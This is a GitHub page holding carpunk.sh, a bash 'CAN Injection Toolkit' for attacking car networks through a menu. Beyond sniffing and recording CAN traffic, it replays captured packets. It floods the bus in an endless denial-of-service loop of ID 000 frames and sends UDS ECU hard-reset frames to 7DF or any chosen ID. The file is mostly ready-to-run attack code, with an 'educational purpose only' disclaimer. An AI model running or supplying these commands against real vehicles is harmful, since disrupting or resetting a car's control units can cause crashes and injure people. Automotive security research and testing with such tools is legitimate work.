-
Notifications
You must be signed in to change notification settings - Fork 38
/
carpunk.sh
174 lines (149 loc) · 4.86 KB
/
carpunk.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#!/bin/bash
#Project: CarPunk v2 (CAN Injection Toolkit)
#Coded By: souravbaghz
#+++++++++++++++++++++++++ WARNINGS ++++++++++++++++++++++++++
#EDUCATIONAL PURPOSE ONLY - DON'T USE ON UNAUTHORISED VEHICLES
#I AM NOT RESPONSIBLE FOR ANY BAD USE OF THIS TOOL
#Colours
bold="\e[1m"
italic="\e[3m"
reset="\e[0m"
blink="\e[5m"
crayn="\e[36m"
yellow="\e[93m"
red="\e[31m"
black="\e[30m"
green="\e[92m"
redbg="\e[41m"
greenbg="\e[40m"
banner(){
echo -e "$green
▄▄▐▀▀▀▀▀▀▀▀▀▀▀▌▄▄
▄▄▄█▄▄▄▄▄▄▄▄▄▄▄█▄▄▄
█▄█░░█▓█▓█▓█▓█░░█▄█▌
▓▓█▀███████████▀█▓▓
▓▓▀▀${reset}souravbaghz${green}▀▀▓▓
█▀▀ ▄▀█ █▀█ █▀█ █░█ █▄░█ █▄▀
█▄▄ █▀█ █▀▄ █▀▀ █▄█ █░▀█ █░█
${bold}ⲤⲀⲚ Ⲓⲛ𝓳ⲉⲥⲧⲓⲟⲛ Ⲧⲟⲟ𝓵ⲕⲓⲧ$reset
$reset──────────────────────────────"
}
if [ -z "$1" ]
then
banner
echo " Interface is not supplied" #interface not supplied
echo " Usage : carpunk.sh <Inferface>"
echo " Example: ./carpunk.sh can0"
exit 1
fi
mkdir -p logs
#var
msg=" HACK THE CAR"
inc="1"
#=============================================
# YOU CAN CHANGE THE VARIABLE FOR LOG.
interface="$1"
log="carpunk"
#=============================================
trap ctrl_c INT
ctrl_c(){
echo
echo "CTRL_C by user"
menu
}
menu(){
clear
banner
echo -e "$bold$green$msg$reset"
echo -e " ──────────────────────────────$reset"
echo -e "$red [1]$green UP The CAN Interface"
echo -e "$red [2]$green Down The CAN Interface"
echo -e "$red [3]$green Start The Basic Sniffing"
echo -e "$red [4]$green Record The CAN Packets"
echo -e "$red [5]$green Play The CAN Packets"
echo -e "$red [6]$green CAN Injection DOS Attack"
echo -e "$red [7]$green ECU Hard Reset(7DF & 7E1 only)"
echo -e "$red [8]$green ECU Hard Reset with Custom ID"
echo -e "$red [0]$green Exit$reset"
read -p " [?] Choose: " option
if [[ $option = 1 || $option = 01 ]]
then
ip link set $interface up
msg=" Interface is up now!"
clear
menu
elif [[ $option = 2 || $option = 02 ]]
then
ip link set $interface down
msg=" Interface is down now!"
clear
menu
elif [[ $option = 3 || $option = 03 ]]
then
echo -e " ──────────────────────────────"
msg=" HAPPY CAR HACKING"
cansniffer $interface -c
read -r -s -p $'Press ENTER to go menu.'
clear
menu
elif [[ $option = 4 || $option = 04 ]]
then
echo -e " ──────────────────────────────"
msg=" Recorded & stored as $log$inc.log"
echo -e "$green Dumping CAN Packets..."
candump -L $interface >logs/$log$inc.log
inc=$((inc+1))
echo " >"
read -r -s -p $'Press ENTER to go menu.'
menu
elif [[ $option = 5 || $option = 05 ]]
then
echo -e " ──────────────────────────────"
msg=" Replay Attack Completed"
read -p "[?]Enter log name: " logname
echo -e "$green Playing CAN Packets..."
canplayer -I logs/$logname
clear
menu
elif [[ $option = 6 || $option = 06 ]]
then
echo -e " ──────────────────────────────"
msg=" DOS Attack Completed"
while true
do
echo "Executing DOS Attack..."
cansend $interface 000#0000000000000000
clear
done
clear
menu
elif [[ $option = 7 || $option = 07 ]]
then
echo -e " ──────────────────────────────"
msg=" ECU Hard Reset Completed"
cansend $interface 7DF#0211010000000000
#cansend $interface 7E1#0211010000000000
clear
menu
elif [[ $option = 8 || $option = 08 ]]
then
echo -e " ──────────────────────────────"
msg=" ECU Hard Reset Packet Sent!"
read -p "[?]Enter UDS Arbitrary-ID:" AID
cansend $interface $AID#0211010000000000
clear
menu
elif [[ $option = 0 || $option = 00 ]]
then
echo -e "[!]Exiting...${green}${reset}"
clear
exit 1
else
echo "Invalid Option..."
sleep 1
msg=" Oops! It's incorrect option"
clear
menu
fi
}
menu